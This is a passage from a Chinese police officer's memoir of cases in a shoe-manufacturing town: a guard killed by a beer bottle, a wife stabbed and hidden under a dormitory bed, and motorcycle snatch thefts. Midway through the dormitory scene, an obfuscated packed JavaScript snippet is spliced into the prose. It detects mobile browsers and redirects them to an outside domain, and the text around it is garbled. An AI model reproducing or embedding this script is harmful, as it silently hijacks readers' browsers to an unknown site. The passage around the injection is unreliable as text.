不管怎么样，保安就是一种职业，成为社会必不可少的一部分，这个群体为了社会稳定发挥不可缺少的作用。“昆明301事件”中当恐怖分子拔出刀砍杀无辜群众时，两名50多岁的保安，并没有选择退缩逃跑，而是履行职责挺身而出，悲壮的倒在了刀下，是最早牺牲的。当然林子大了，什么人都有，保安的人数是远远超过警察的，他们兢兢业业，恪守职责，做出了他们应有的贡献，不管他个人行为水平如何，都不应该被歧视，没有他们整个社会治安肯定是没有这么好的。 我和医生搭档后，办理的第一件命案的主角就是保安。案件发生在鞋都镇HD村，一家中等规模的鞋厂，名字我已经忘记了，只记得那个工厂在陈泉路上，工厂有几栋建筑组成，靠近路边的是一栋5层的楼，外墙是老款的白色瓷砖。一楼打通是一个通道，用一个大对开的铁门，过了通道后面是个院子，院子两旁也有三栋楼，房子修得很紧凑，毕竟寸土寸金的地方，提高土地的使用率可以节省资金，作为生产企业，投资成本还是很高的，老板还是很务实的。通道旁是保安室，保安室有个侧门也通往通道，平时是供人员徒步进出走的。 案发现场就在保安室。 保安每天的工作就是守在大门口，将无关人员车辆挡在门外，工厂人很多，加上员工流动性特别大，很多工厂员工年初招的工人，年底剩不到40%，而保安一般年纪都不小，要记住每个人的面孔时比较困难的事情，很多企业会给员工办理厂牌，用于进出，也方便管理，这项工作执行得好坏，就要看保安的心情了。针对保安的管理，东南省很早就颁布了《东南省保安服务管理办法》，作为地方性法规，规范了保安的使用和管理，包括教育和培训，保安服务机构的管理部门是公安机关，可以登记设立保安公安，从事保安服务工作，企业必须设立内部保卫部门，内保部门必须接受公安机关管理，才能使用保安。一般的保安，都要经过正规教育培训考核，除此之前的所有保安都是非法的，一经发现，公安机关可以根据办法规定对涉及单位进行行政处罚。这个法规制定得非常好，不过实际操作的时候，效果要打折扣，很多单位并没有设立内保机构，但是又要自己招聘使用保安，最后采取的方法是，自己招聘委托保安公司培训管理，自己使用，支付较低的管理费用，一切就变得合法了，双方受益，公司方减少了用工成本，在法律框架内。这是一种市场的行为。很多企业的保安室，都会挂一个某某保安公司保安岗的牌子，实际上人员招聘管理都是企业的行为，保安公司除收钱外，几乎没有管理，有些公司向保安公司交纳一一个保安的管理费用，却雇多个保安，这个也是意料中的事情。所以企业的保安管理还是比较混乱的。最后，坐在企业自己设立的各种保安室里的单位保安职责的，就什么人都有了，之前我提到过在保安室抓盗窃犯罪嫌疑人，甚至我曾经在保安室抓过在逃十几年的逃犯。 刚刚到刑侦时，领导经过考虑安排我和医生搭档，两人搭档组是刑侦办案常用的工作方式，一来是法律规定，办案必须两名以上民警；二来相互之间有个照应；医生是老刑侦，从医学院毕业以后进入公安，原以为会被分去当法医，结果进了办案队，从此走上不归路，他有着医生的细致和敏锐，一直从事刑事侦查工作，是个不折不扣的老刑侦，经验丰富，为人豁达，做事情稳重，细腻。我是新手，想法天马星空，做事毛躁，跟他搭档，再好不过。医生是难得的良师益友。 那天我们接到通报，辖区HD村一企业发生命案，要我们到现场参与处理。这是一家再普通不过的工厂，工厂自己雇佣的保安，跟大多数企业的保安室一样，这个保安室由两间房组成，前面是工作间，后面有个隔间，是休息室，值夜班的保安就在休息室内睡觉，有的保安甚至是住在保安室，饮食起居一应俱全，就是简陋一点。一般都有工作桌，多用途的，吃饭办公学习玩耍，很多保安室还有监控，是一个监控台，厂里的主要区域安装有监控，用于巡视。 企业雇有三名保安，轮班上岗，没事的事情，三名保安都会在保安室待着，正值夏日，这天，三人又在保安室，打包来卤料喝起了啤酒。有工人外出归来要进入工厂，见到保安在喝酒吃肉，心中积累已久的怨气终于憋不住了，需要一吐为快，于是就张嘴说了一句全中国都能听懂的口头禅，这句不阴不阳的不文明用语，成功引起了其中一名保安何甲的注意，于是这名保安何甲借着酒意起身回了句“你骂谁呢，是不是欠揍”，骂战由此展开，事实证明，还是要多读书，不管是保安一方还是工人一方，很快就词穷，除了复读机式的重复，没有更多的语言，很快双方情绪被点燃，骂战的词很快就升级变成了，有本事你打我之类的话，两人的骂战，很快也引来了人围观，大家在分明是在看笑话，保安何甲向来都是工人们看他脸色进出的，大家都是客客气气的，在工厂何时受过如此羞辱，居然有人敢骂，骂还看还嘴，最难以忍受的还有挑衅，几次要动手，都被拉开，最后双方能骂的词都骂完了，架也打不成了，被旁边的劝开了，各自散了，准备离开。已经返回保安室的保安何甲还是觉得没受过如此的气，拿起一个啤酒瓶，冲到已经走到过道的工人朱乙面前，要朱乙必须道歉认错，不然就打，形势瞬间升级，朱乙本来就在气头上，怨气还没发完了，哪里会道歉，何甲就持啤酒瓶打向朱乙，谁知，酒后力气和准度都不够，啤酒瓶被朱乙抢走，何甲见酒瓶被抢，转身就准备跑回保安室，朱乙拿着啤酒瓶直接打向已经转身要跑的何甲，正中头部后脑勺位置，见何甲被打跑，朱乙扔下酒瓶，就朝工厂里面走，回到自己的宿舍。 回到保安室的何甲，继续喝酒，半个小时候，觉得头晕，觉得喝多了，就上床睡觉。直到下午下班要交班的时候，大家去叫他起床，发现何甲已经一动不动，已经没有了呼吸，慌忙之中打120和110，120赶到现场，人已经死亡。 我和医生，开着中队的三菱帕杰罗v31，熟悉车的人知道这是老款的三菱吉普，传说是当年□□捐赠的，已经有些年头，车况有些差强人意，不过很好用，很好开。我们到现场的时候，法医已经在勘查现场检验尸体，这是我第二次参与处理在保安室的尸体，这具尸体还穿着保安支付，不过衣衫不整。那个致人死亡的啤酒瓶还放在保安室门口，法医提取，装进了专用的袋子。 保安室安装有摄像头，整个事情经过都被完整的拍下来，现场有十来个目击证人，何甲死亡的消息已经传遍工厂，我们来到朱乙的宿舍，找到了目光呆滞坐在那里瑟瑟发抖的朱乙，将手铐戴在他手上，他很顺从的跟着我们回到了单位，对整个事情经过供认不讳。 经过尸体解剖，死者确认死于外力造成的颅脑损伤，颅内大量出血。就是看似那么随手轻轻一击，直接造成保安的死亡。朱乙因涉嫌故意伤害罪，被依法刑事拘留，后被移送检察院审查起诉，法院认为该案事实清楚、后果严重、证据确凿，宣判嫌疑人朱乙故意伤害罪成立。 此案很简单，这起案件是我见过的最薄的命案卷宗，不到一百页纸，我们都觉得不可思议就这么移送起诉了，不过是医生来主办，我协助办理。 每个寓言故事都有一个教人的道理，此案案情已查明，案件快速办结，小结如下： 1、不要跟保安一般见识；2、多读书，不然吵架都吵不过人家，最后会以生命作为代价；3、君子动口不动手，能动口的绝不动手，打死打伤都是要坐牢的。 六、床底的女工，藏尸的老公 鞋都主要以鞋服产业为主，大部分是鞋厂，成品以及配套厂。这种劳动密集型企业，需要非常多人。在很多工序，女工比男工更吃香，因为鞋厂聚集了很多女工，流水线上，女工要比男工多，不过凡事看两面，很多企业的年轻的男青年愿意去流水线，一个很大的原因就是流水线上女工多。 女工不只是年轻单身女青年，还有很多年纪很大的女性，俗话说三个女人一台戏，女人在一起多了，各种事情都会有。我当社区民警的时候，曾经处理过两名女子在流水线上打架导致火灾的事情。两名三十多快四十的大妈，据说还是老乡，来自同一个地方，不知道什么原因，争风吃醋，见面就吵架，这天在鞋厂流水线上作业，工作很简单，一个是给鞋子刷胶水的，用于上鞋底，另一个是负责给鞋子清洗多刷的胶水（鞋的帮面刷上胶水粘好鞋底，会有残留的胶水粘上不干净的脏东西，需要清理掉），使用的清洗剂是“天那水”，这是个俗称，功能与“香蕉水”类似，属于易燃有刺激性易挥发化学品；整个流水线就是一个速度很慢的传送带，不同工位处理不同工序，最后就成了完整的鞋子，流水作业而已。不过女人比男人吵起架来更可怕，不知道什么原因，这两位大姐就又吵起来了，其中一名拿起“天那水”就泼向对方，另一名就还击，也用“天那水”泼回去，还不过瘾，两名大姐就当场撕打起来，工厂的这个流水线呈s型，在U段另一头是热加工工序，有一类似于电吹风的烘烤设备，温度很高，两名大家不小心就碰了上去，瞬间两人身上的“天那水”被点燃，导致两人不同程度烧伤。我是在180医院的烧伤科见到两人的，两人可能都没意料到结局是这样吧。 有女工就有男工，很多人都是夫妻一起出来打工，也有来自不同的地方男女在这里相遇，结为夫妻，组成新的家庭。工厂为了安抚工人们，在宿舍都配有夫妻房。也有不是夫妻的以夫妻名义住在工厂宿舍夫妻房间内。 工厂宿舍人就很多了，有人的地方就会有是非，女人为男人争风吃醋，也有男人为女人大打出手，虽然大家收入都不高，但是各种桃色新闻并不少见，由于大量的男女来自全国各地，人一多，难免有各种情愫，工厂工人的混乱私生活，加上因此引发的各种刑事案件，永远都是我们日常八卦消遣最佳的谈资。很多夫妻来打工，来的时候两个人，回去就成一个人了，太常见了。也有来的时候带一个人，回去的时候，变成另外一个人，工厂是快速流水线，工人的感情生活也变成流水线了。 有天我们正在食堂吃午饭，接到值班室通报，在梧埭村一工厂宿舍，保安巡检时发现一间宿舍锁上了，但是闻起来有血腥味，怕有什么事情，打电话报警，处警的同事觉得有可能是命案，直接通知我们刑警出现场。 中队长叫上现案组我们四个人，司机已经在车上等了，上车直奔现场。我们的座驾是伊斯坦纳面包车，这款车还是比较舒服的，早期的伊斯坦纳都是挂奔驰标MB100，使用奔驰的技术，奔驰的进口发动机，由上海汇众公司生产，车子内空间大，座椅舒适，也好开。我们这台是加长版的，是汇众汽车的车标，配有十二个座椅，其中车身中是三排6个独立的座椅，都带有独立的扶手架，坐着还是很舒服的，缺点是车身大，手动挡，不合适市区拥堵路段。还有就是车身轴距较长，悬挂的是黄色车牌，我的C1驾照没办法开，要求B2以上驾照，必须配专职司机。 我们的面包车快速驶往现场，一路上我们都没怎么说话，中队长一路在打电话。指引司机到现场。现场位于七一路路边的一家工厂，宿舍在厂区最后面，一栋四层小楼，墙面是白色瓷砖，建筑风格类似早期的学习教学楼，走楼梯上楼，一层有十来个房间，通道就是阳台式的，地面铺着瓷砖，光亮整洁，墙面也很干净，应该有人定时打扫。很多工厂的宿舍都是这种建筑，采光好，结构简单，不过不是每个工厂宿舍都这么干净。 很多住工厂宿舍都是单身汉，青壮年，非常躁动，破坏力极强，我去过的大多数工厂宿舍，给我的印象就是垃圾随处可见，宿舍墙面都是各种鞋印，再高一点是脚踩不到的地方，墙面黑黑的，也没有人清理，公共区域的地面是厚厚黑色的土尘，让人作呕的味道四处飘散，门和窗户大多有损坏，让人感觉极为不舒服。很多时候，选择很重要，人以群分， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821855|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你愿意选择什么样的人在一起，就决定了你的生活是什么样子，其他人就是你的镜子。 现场这家企业的宿舍给我非常好的印象，老板的管理还是比较到位的，连宿舍区都管理得很好，原来每日除了有人打扫外，还有保安巡查，设置了比较严格的惩罚制度，严重的要罚款扣工资，且不说这个制度是否合理，但是至少效果很好。 我找来报警的保安，询问情况，据保安介绍，上午11时许，巡查工人宿舍到二楼的其中一间夫妻房的时候，发现房间门是锁的，而住在里面的女工没去上班，其老公很早就出门了，因为工厂就一百来号工人，他记得每个人，今天住房间的女工没有出门，他觉得很奇怪，就在房间门口通过窗户朝里看了一下，里面没有人，地面很干净，是早上刚刚被打扫过的，但是床铺去没有收拾，他觉得很奇怪，更加奇怪的是，在门口能闻到一股新鲜血液的味道。 我们来到门口，一股熟悉而强烈的血腥味直冲我的鼻孔而来，闻到血腥味，我居然有些兴奋。我透过窗户迫不及待朝里张望，查看情况，此时光线很亮，我看到宿舍的床底下有一床被子，被子边缘颜色有些深红色，类似血浆的颜色，从现有的情况可以判断那里有个什么东西。 我们叫来了法医，撬开了这间宿舍门锁，推开房门，一股更为浓烈的血腥味扑鼻而来，大家都没有敢进门，法医穿上了一次性医疗装备，套上了脚套，我则在门口趴在地面上观察床底下的物品，我看到被子裹着东西，仔细在看露出了一个人的脚，除此之外，床底下一摊深色的血液。法医进去伸手摸了一下床底下，是一个人，确切的说是是一具尸体，裹在被子里，藏在床底下。我看了一下房间，地板被清洗得很干净，光亮照人，房间的墙面上还残留着部分未被清理干净的血迹，房间应该是多人宿舍，有两张上下铺的床，其中一张上面堆放着行李等杂物，另一张挂着蚊帐，两张床之间摆放着一张桌子，上面有一台电扇，还有些杂志梳妆用品，床靠着两面的墙放着。房间靠我我们靠门这侧放着一张灶台，一个煤气灶，还有其他生活用品。有几个桶盆放在另一侧。门边上摆有多双的鞋子。 尸体从床底下拖出来，划出一大摊的血印，打开满是鲜血的被子，里面包着的是一名长头发的女性，微胖，个子不高，一米五五左右，死亡时间不超过十二个小时，身上都是血迹，能看到的皮肤发白，血液已经放干，整个床底下全是鲜血。女子身上多处刀伤，初步判断，静脉被割断流血过多而死。 尸体呈被法医平整的摆在房间里被子上，当医生还在检查尸体，我们已经在开展调查工作了，首先确认身份，死者是重庆人，33岁，老公是河南人，去向不明。据住隔壁的工人反映，头天凌晨，曾经听见房间里有人在激烈争吵，听上去像是女子跟老公在吵什么，似乎还有打斗的声音。不过后来声音就没有了。早上出门上班的时候，发现尸体的这间房就已经上锁了。其老公不在本厂上班，但是经常来这里住，所以死者申请了夫妻房，方便生活。而保安称，见过其老公晚上过来，凌晨很早就出门了。 法医在现场也找到了本案的工具，一把尖刀，被清洗过，但是刀把缝里残留有死者的血迹。现场还提取了大量的痕迹物证。从现场请看看，凶手将死者杀害后，将死者用被子包着塞到了床底下，为了掩人耳目，将现场清洗干净，然后匆忙逃离现场。 根据现有的情况可以判断，头天晚上在房间里的男子就凶手无疑了，男子是谁呢，是不是死者的老公，经过查询，我们将死者老公的照片给大家辨认，确认头天晚上在和死者一起在房间里的就是死者的老公了。我们直接拨打了死者老公的电话，计划通知他死者的事情，将他稳住，然后直接去抓人，但是他手机已经关机了。 现在所有的工作就剩下追捕凶手了，根据保安提供的线索，我们调看了工厂进出的视频录像，发现凶手在凌晨5时许已经出门，出门口直接离开了，我们也不知道他去了哪里，当时的视频监控还无法全程看，我们一遍根据凶手消失的方向追查监控录像，他已经离开快八个小时了，我们也不确定能否快速追查到，同时另一组开始展开数据分析，根据凶手关机之前的话单，我们发现其经常与一名莆田号码的联系密切，经确认机主是一名女性，此时莆田号码已经漫游到福州了。另一方面，我们发现，凶手凌晨最后一次通话的地点在汽车站附近，我们大胆的判断，凶手在汽车站搭乘汽车离开的，于是立即赶往长途汽车站，迅速调看视频，终于，在长途车站发现凶手的踪迹，他搭乘了一辆去莆田的班车，事不宜迟，专案组立即派人追到莆田，莆田汽车站那边反映凶手并没有到莆田，中途在惠安县下的车。 凶手非常狡猾，是不是目的地去福州，或者回河南？通过多次转车来躲避警方的追捕呢？带着疑惑，我们的人追到了惠安县，凶手已经不知道去向。研究数据的人惊奇的发现，凶手曾在惠安的黄塘镇有落脚的地方，专案组又赶去黄塘镇，工作了一通，但是一无所获。时间已经是下午五点了，马上就要天黑了。正当我们一筹莫展的时候，我们发现凶手的密切联系人，人已经回到惠安，跟一个陌生号码联系过。而且还联系一个河南籍大巴车售票的，这是要购票去河南的节奏啊。通过数据分析判断，凶手此时应该跟这名女子在一起。既然联系了大巴车，是不是坐车逃离。 我们主动联系河南籍的大巴车，问了一下情况，这辆车下午3点就已经发车离开了，凶手是否在车上，他不清楚，不过可以配合我们开展行动。专案组的同志，立即开车上高速，一路狂追，追上了这辆大巴车，大巴车将车开进了服务区，我们同事在服务区大巴车上成功将凶手抓获归案。 凶手就是死者老公，他交代，他与死者就是在福建打工认识，后来结婚，已经结婚十年了。但是他跟死者已经没有感情了，现在跟另外一个女子好上了，想跟死者离婚，但是死者一直不同意，两人为此事吵了很久，也很久没有住一起，加上死者性格泼辣，凶手非常受不了，这天晚上，双方在又房间里吵了起来，原因是两人有很多积蓄，都是死者在管着，凶手找死者要钱，被死者拒绝了。两人动手打起来，一气之下，凶手拿出事先准备好的刀，持刀将自己结发妻子杀死，找到存钱的银行卡，然后为了逃脱，他将死者用被子包住，藏于床底下，将现场清洗干净后，离开现场，回到惠安找他女朋友，然后买票回河南，结果在大巴上被抓。 案件成功告破，用时不到24小时。很多命案都有黄金周期，24小时，48小时，72小时，过了三个时间节点，都是耗时日久。 本案小结：虽说一日夫妻百日恩，小心枕边人。有事好商量，不然就要挨刀。所谓爱之深恨之切，说不定那个最想杀死你的人就是你的另一半。夫妻之间要和睦相处 ，能活到现在首先要感谢不杀之恩。 15. 第 15 章 “两抢”是对于抢劫、抢夺类案件的总结性的统称，是一种内部专业术语。因这两类案件，直接侵害被害人，除了财物上的损失外，在犯罪实施过程中，还会造成被侵害人身体伤害，直接对被害人的心理造成伤害，是人民群众深恶痛绝的两类犯罪，公安机关一直对这两类犯罪呈高压打击。 首先看一下两类案件涉及的罪名： 抢夺罪，是指以非法占有为目的，乘人不备，公开夺取数额较大的公私财物的行为。 抢劫罪，是指以非法占有为目的，当场使用暴力、胁迫或者其他方法，强行劫取财物的行为。 其次，抢夺罪与抢劫罪的界限： 抢夺罪与抢劫罪都以非法占有公私财物为目的，主体要件也基本相同，并且都带一个“抢”字。但两者也有较大的区别： 1、客体要件不完全相同。抢夺罪为单一客体只侵犯公私财产。抢劫罪为复杂客体，侵犯的不仅是公私财产，而且是人身权利。 2、客观要件表现不同，抢劫罪是以暴力、胁迫或者其他方法，劫取公私财物，并且法律上没有数额的限制；而抢夺罪则是乘人不备，公然从财物所有人手中抢走财物，并且法律要求数额较大时才构成犯罪。 从法学专业角度来说，可以写一篇论文，抢夺的暴力程度较低，主要是趁人不备，而抢劫的暴力程度较高，被侵害人直接面对，抢劫罪判罚会比较重，当抢夺犯罪实施时造成被害人身体伤害时，就构成抢劫罪。公安机关习惯将两者放在一起研究，两种犯罪形式，都是方法简单粗暴，很容易造成严重后果，相互之间经常有转换。天下无贼里有一句话：最讨厌你们这些抢劫的，一点技术含量都没有。 我参加刑侦工作以后，一开始专门研究两抢案件，从综合研判如何侦破抢劫案件开始，后来是抢夺案，再后来是大杂烩，什么案件都做，最初抢夺抢劫这两种案件视频侦查适用较多，慢慢就开始喜欢上研究视频侦查了。 一、飞车抢夺案 （一）初遇 时间回到2006年，我刚刚上任社区民警，对于派出所的工作还在摸索，不断学习，跟同事慢慢混熟了，开始值派出所的电话班，大约每个月一次，就是守在值班室，接收指挥中心的指令，守值班电话，那个电话24小时不离人，做好各种来电登记，事务传达，接受群众咨询问询工作，除此之外，还有一项很重要的工作，就是受理群众来所报警，根据报警描述，判断是治安案件还是刑事案件，或者不是案件，不归公安机关管辖，当确认是案件时，就手工填写报警登记，并向报警人开具报警回执，同时通知当日对应警种值班民警过来接手工作，刚开始是两个民警，互为正副班，遇到刑事案件报警，还要手动制作报警询问笔录，那个时候，鞋都辖区刑事案件高发，最多就是摩托车被盗窃案还有就是两抢案件，大白天以飞车抢夺为主，晚上则是抢劫多，最高峰的时候，一天有四十余起刑事案件，我做笔录写干了几支笔芯。 那个时候由于没有办过案件，没有案件的现场经历，对于当事人描述的案件经过缺乏想象力，所以我的笔录做得不咋样，不只是我，整个社区队的民警，做笔录都不咋的。后来接警询问笔录全部移交给了刑侦中队，由刑侦当班民警处理，主要领导发现笔录质量较低，两个方面：一是案件破获以后，发现很多笔录漏洞百出，关键的要点都没有记录，刑侦还要重新制作笔录，不然都没有办法移送法检；二是由于接警民警对案件没有办理过，缺乏经验，不知道要询问哪些东西，通常只是判断案件性质的要素问了，其他很多有价值的线索被忽略掉了，刑侦中队拿到笔录，还要重新询问当事人，才能获取有价值的线索，否则难以开展有效的侦查工作，经常出现，如此重复劳动，不如节省人力，提高打击和诉讼效率，改直接由刑侦民警直接制作比较好。而派出所民警，只要做好登记就好了。 我在鞋都所守了八年的值班室，刑事案件从06年开始，每年不断攀升，直到2012年，上升的势头才得以遏制，然后逐年下降。仅是06年，那一年，我记得有一次值班，中午群众来报警，一下子来了十几个，然后大家很自觉的排着队在等着我挨个询问登记，从值班室的值班台一路排过大厅排到了大门口，场面颇为壮观。 当时，中午案件最多的是盗窃摩托车和飞车抢夺，摩托车被盗这个好理解，晋江06年统计的摩托车保有量就近20万辆，我头几年也是骑着摩托车上下班；飞车抢夺，是抢夺犯罪的一种，抢夺，一般有两种方式，一是徒步抢夺，走路靠近被侵害人，抢完财物撒腿就跑，利用当事人来不及反应以及当地地形的熟悉，快速逃离现场，达到实施犯罪非凡占有财物的目的；这种通常都是小街小巷，选择的时机大多为晚上，洋埭村就是重灾区。还有一种方式就是借助交通工具，通常使用改装过的摩托车或是大排量的摩托车，坐在摩托车上，在运动中实施抢夺，快速离开，这个很吓人，我亲眼目睹多起，被害人往往被吓得不轻，危险系数高，首先是被害人身体容易被伤害，常见摔伤，擦伤，骨折，严重时也会致人死亡，几乎每年都有飞车抢夺造成人员重大伤亡的案件；其次是犯罪嫌疑人，为了实现快速逃离现场，通过高速驾驶摩托车，无视交通规则，稍有不慎就会造交通事故，人员伤亡，2015年6月，我在广东追捕过一个嫌疑人就是抢夺后骑摩托车逃跑时摔伤。我追了半个月才将其抓获归案。其实还有第三种方式，是后来有的，就是徒步加机动车结合的方式实施抢夺，首先是骑车四处游荡，伺机寻找作案目标，然后下车徒步接近，实施抢夺，得手后坐摩托车快速逃离现场。 虽然案件很多，每天都有大量的案件发生，同事们还总结了如何防抢的经验，例如，不要站在路边打电话，脖子上不要戴项链，不要使用手提包（手包）或者单肩背包，单肩包尽量使用斜背就是跨过身体，骑摩托车自行车，不要将手机挂着腰间。还有传言称，街上的女性至少有三分之一被抢夺过，骇人听闻也好，危言耸听也罢，我只有听到描述，对飞车抢夺没有直观的感受。 每天发生的那件那么多，从概率学角度讲，我很快就会遇到，果不其然，2006年国庆长假刚过不久，我到派出所也就两个多月，我穿着新的警察制服，在阳光路和七一路口等人，当时鹏青路还没有开始修，七一路交通比较拥挤，车流量大，我走路从所里出来，穿着制服、警察制服，那个时候的我二十出头，年轻力壮，一身的骄傲习气。站在路边，俨如一个卫士，正当我得意的时候，突然一声摩托车轰油门的巨响，一辆摩托车以超出我想象的速度从我面前掠过，瞬间骑到了离我约七八米元的一辆三轮自行车边，骑自行车的人腰上挂了一个诺基亚手机，用的是横置皮套，我几乎没有看清，发生了什么，骑三轮自行车的男子，几乎是横着被拉倒在地上，三轮自行车也翻了，而那辆摩托车在我目瞪口呆中已经消失无踪，留下三轮自行车还发散着灰尘，我急忙赶过去，骑车男子称自己的一部诺基亚手机被抢了，我叫他直接报案，他说算了，反正也追不回来，那个时候，飞车抢夺的破案率低得吓死人（从那时开始，晋江刑侦用了十二年，把破案率从不到5%提升到100%），群众报案几乎没有回音，经常在路上的人，时常看见飞车抢夺案件，见多不怪了。我接警的时候，就发现过，同一个路段，同一时间段，有三四伙人同时在抢，猖獗一时。 这是我第一次正面接触飞车抢夺，如同一个绝大的耳光打在我的脸上，我被惊住了，第一次对飞车抢夺有了清醒的认识，那个时候，我们几乎对飞车抢都束手无策，参与的人太多，虽然刑侦不遗余力使出浑身解数，抓获不少团伙，但是犯罪分子似乎进入一个怪圈，越打越多，后来有人提出打防结合，要求基层民警，每日上路设卡拦截，还是武装设卡，但是实际操作中，领导担心出事，严令只能带枪，不带子弹，查车为主，不主动拦截，于是我们掩耳盗铃一般，拿着空枪站在路上，如同一尊雕塑一样，矗立在那里，看着过往的车辆，吸着尾气。然后领导会带着各媒体记者，让我们摆出一副迎战姿态，各种摆拍，登上各级传媒的版面，成为极好的宣传素材。我设卡时，曾遇到几十米就有飞车抢夺案件发生，嫌疑人从我们对面车道逃离现场，朝我们做鬼脸，当时被羞辱到无地自容。每次查车都非常认真，但是真正接受检查都是良民，我从没查到过违法犯罪的嫌疑人，这种上路设卡拦截防范路面两抢的做法，只能是自欺欺人，后来局领导换人，这种做法，才逐渐取消，改为更科学的组建专业队伍进行打击的工作方法。 （二）交锋 怀着一腔热血的我，在经过几年的磨练后，终于让我有机会一雪前耻，打击飞车抢夺。我加入了刑侦的行列，与刑侦的兄弟们并肩作战。最初我们打击的方法比较单一，培养特勤耳目，就是传说中线人。还有就是通过几个倒霉的或者技术不精被群众现场抓获飞车抢夺嫌疑人，审讯来获取更多的线索，通常后者效果较差，比较依赖前者。这天，三中队负责两抢的民警，传来消息，他的线人举报，有一群飞车抢夺的嫌疑人，落脚在西滨镇，收到消失，我们立即整装，按照事先约定当天晚上，兵分多路来到西滨镇。 西滨镇，位于晋江东南部沿海平原，跟鞋都镇连在一起，西面和北面是鞋都镇，东边是解放军的军垦农场，南面是新塘街道跟石狮市。全镇辖区面积2.1平方公里，下辖2个村（其中1个是三峡移民村）、1个居委会，离开晋江前几年我一直是这个居委会的挂钩干部，和1西滨农场，总人口1600多人，有几十家企业，外来工人4000多人，是一个著名的"精品袖珍镇"，西滨镇总的体量相当于鞋都镇某一个中小行政村，所以案件较少，当时西滨镇有个派出所，是全市最小的派出所，其刑事案件也是鞋都中队的管辖，由于人少，地方不大，相对太平，刑事案件我们较少操心。我可能对西滨比较熟悉一点，经常被领导指派过来帮助西滨所办理刑事案件，或者指导他们办理，或者直接过来移交案件。 西滨镇非常小，镇区一条几百米的道路。两侧是建筑物，再往外延伸，一边是工业园区一边是耕地。 三队的民警先跟线人接头，我们坐在车上静等，根据线报，他悄悄的跟着一个对象到了一处台球桌那里，那个时候，西滨镇还没有改造，唯一的一条街，跃进路还满是榕树，榕树有些年头了，长得枝繁叶茂，树胡子垂倒地面，榕树几乎将整个街面两边的建筑物全部遮挡，夏天，在榕树的庇护下，西滨很凉爽，缺点是缺乏阳光，感觉到处都比较潮湿。入夜，就有一些商家，把经营范围扩展到榕树下，几家烧烤摊，还有卤料小炒夜宵摊，也有商家直接在榕树下摆上台球桌，以吸引人流。 台球桌附近聚集的人不多，跟踪的对象，在台球旁边转了转，又折回，直接朝我们车的方向走过来，滴滴的两声，诺基亚手机接到一条短信，内容是叫我们秘密抓捕那个走过来的对象。 我们驾驶的是一辆白色丰田海狮面包车，嫌疑对象走过我们身边的时候，我们突然拉开车门，将嫌疑对象拉车内拉，几乎同时，前排的直接下车，到嫌疑对象身后，直接抱腰往车上一送，嫌疑对象还没有来得及挣扎，就已经被拖到面包车上，被我们压倒在过道里，同时搜身上拷。 上车后，我们也没说什么，出示证件，直接问他叫什么，有没有身份证，他说没带身份证，身份证放在住的地方，说我们抓错人了，他也不知道要抓谁。我们说带我们去拿身份证，证明我们抓错人了，然后嫌疑人居然信了，带着我们去了他住的地方，离我们抓捕他的地方不远，大约几百米，在这条街道的快尽头的位置，嫌疑人指认他住的那栋租房，是靠近学校的不远处的一栋三层民宅，据嫌疑人交代整栋都是出租房。我们来到楼下，门口停着四五台两轮摩托车，黑太子的那种，楼上好像聚集了很多人，我们没有着急上去，而是打电话通知其他组的，他们迅速驾车赶过来。十几个人再次悄悄来到了那栋房子的楼下，将那栋民宅围了起来，几个可能的出口，包括可能跳的窗户都守住，然后拿着嫌疑人的钥匙，直接开门上楼，二楼真是很热闹，一大帮人正在聚赌，全神贯注，没有人发现我们七八个上楼，整个房子十一个人被我们抓个正着，我们以派出所抓赌名义，要求所有人配合，挨个登记身份之后，所有人包括在旁边看的人，全部铐起来抓获，在房子里搜了个底朝天，找到一些不值钱的物品，然后将人和物品全部带回所里。 到所里第一件事就是给所有人采集刑嫌信息，有民警用100万像素的手机挨个给所有人拍照。经过确认，这十二个人中，有十一个人参与了飞车抢夺案件，我们立即将十一个人的收集整理，开始分析数据，并且比对碰撞当年所有飞车抢夺案件，确认了每个人对应的案件，分析完这些，已经是凌晨2时许，审讯工作才刚刚开始，因为人手少，按照法律规定，必须两名以上民警方能开展审讯，现案组仅有四名警力全部上，三队派出了四人，于是当晚我们八个人要审讯十一个嫌疑人，外加一个关系人，也要制作取证笔录。 我们组成了四个审讯小组，每组目标审讯完四个人，那个时代，嫌疑招认的口供笔录很重要，检察院法院优先看这个，零口供的案件很少，这就需要侦查员有良好的审讯能力。 但是想要拿到口供，没那么简单，大多数的嫌疑人，都存在侥幸心理，不下点功夫，根本无法撬开嘴，我见多当场人赃并获的嫌疑人，都抵赖不是自己干的，还有嫌疑人正在实施犯罪时，被当场抓住，不都抵赖自己什么都没干，什么都不是他，有一些感觉不好抵赖了采取了闭口不言的策略，什么都不说，姓名都不讲。所以说，审讯是一门技术活，是靠大量的实战积累出来的。我比较喜欢审讯抢劫嫌疑人，正如电影台词里说的，搞抢劫的，一点技术含量都没有，都是些头脑简单的人干的，一般做完案子，四处躲藏，很多时候都躲在住处。如果被抓，应对警察的讯问，表现得很实在，交代得都比较务实，比较容实现原初的目标。嫌疑人对自己的案子通常都会供认不讳。 （三）鏖战 